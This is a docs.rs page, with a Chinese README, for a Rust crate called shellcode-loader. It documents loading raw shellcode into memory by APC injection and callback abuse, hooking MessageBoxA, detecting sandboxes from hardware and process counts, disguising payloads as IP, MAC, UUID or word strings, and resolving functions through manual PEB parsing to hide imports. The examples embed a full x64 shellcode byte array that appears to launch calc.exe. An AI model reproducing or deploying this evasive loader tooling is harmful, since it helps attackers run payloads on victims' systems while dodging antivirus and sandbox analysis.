docs.rs failed to build shellcode-loader-0.7.0
Please check the build logs for more information.
See Builds for ideas on how to fix a failed build, or Metadata for how to configure docs.rs builds.
If you believe this is docs.rs' fault, open an issue.
Please check the build logs for more information.
See Builds for ideas on how to fix a failed build, or Metadata for how to configure docs.rs builds.
If you believe this is docs.rs' fault, open an issue.
Visit the last successful build:
shellcode-loader-0.6.0
shellcode-loader
一个在内存中加载二进制shellcode的rust crate
目录
功能特性
- 提供了多种加载shellcode的方式;
- 提供了多种对抗机制,包括沙箱检测、多种混淆机制、手动解析PEB机制;
- crate中所有函数都是通过手动解析PEB导入的,增强了隐蔽性;
安装使用
通过cargo导入即可
cargo add shellcode-loader
加载方式:
1.加载器
输入bin文件、字节码,直接加载到内存执行
APC注入:向挂起的线程的APC队列中添加任务来执行shellcodecallback调用:调用合法的Windows函数,将它的回调函数改为我们自己的shellcode从而触发执行
示例:APC注入:
use shellcode-loader::loads::apc;
#[test]
pub fn test_1(){
let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];
let _=apc(&buf);
}
示例:callback调用:
use shellcode-loader::loads::callback;
#[test]
pub fn test_callback(){
let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];
let _=callback(&buf);
}
2.hook系统函数
hook系统函数入口点,跳转到自定义函数执行
hook messageBoxA:hook messageBoxA函数,在调用messageBoxA时跳转到自定义的函数执行
示例:hook messageBoxA:
use shellcode-loader::hook::hook_message_box_a_hook;
#[test]
pub fn test_hook_message_box_a_hook(){
fn hello(){
//你自己定义的任意函数
println!("hello hook!");
}
hook_message_box_a_hook(hello);
}
对抗操作:
1.沙箱检测
通过CPU数量、RAM大小、进程数量、磁盘大小来判断是否为沙箱
示例:沙箱检测:
use shellcode-loader::sandbox::is_sandbox;
#[test]
fn test_is_sandbox(){
const MAX_CPU_COUNT:u32=4;
const MAX_RAM_SIZE:u32=8;
const MAX_PROCESS_COUNT:u32=100;
const MAX_DISK_SIZE:u32=60;
println!("isSandbox?{}!",shellcode_loader::sandbox::is_sandbox(MAX_CPU_COUNT, MAX_RAM_SIZE, MAX_PROCESS_COUNT, MAX_DISK_SIZE));
}
2.obf混淆
读取bin文件并混淆,运行时动态解密
包含以下两个函数:
obfuscate_file:混淆函数,传入bin文件路径、选择的混淆方式,支持以下混淆方式:ipv4ipv6macuuidwords
deobfuscate_file:解混淆函数,传入混淆后的Vec数组、选择的混淆方式。
示例:obf混淆、解混淆:
use crate::obf::{obfuscate_file,deobfuscate_data};
#[test]
pub fn test_obf(){
// 1. 读取bin文件并混淆
let obfuscated_data = obfuscate_file("./src/obf/test.bin", "words").unwrap();
// 2. 解混淆得到字节数组
let buf = deobfuscate_data(&obfuscated_data, "words").unwrap();
// 3.可以调用其它的函数,传入返回的buf即可,Vec会自动解引用为buf数组无需手动替换
apc(&buf);
}
3.手动解析PEB导入函数
通过手动解析IAT和PEB得到要调用的函数地址,代替易被检测的LoadLibraryA和GetProcAddress函数的同时隐藏导入表。
示例:
#使用时给get_function_address()函数传入dll和函数名即可获取函数的地址
use crate::iat::get_function_address;
#[test]
fn test_iat(){
let dll_name="user32.dll";
let func_name="MessageBoxA";
unsafe {
let func_address=get_function_address(dll_name, func_name).unwrap();
let message_box_a_fn: unsafe extern "system" fn(isize, *const u8, *const u8, u32) -> i32 = std::mem::transmute(func_address);
let title=b"title\0";
let text=b"hello world!\0";
message_box_a_fn(0,text.as_ptr(),title.as_ptr(),0);
}
}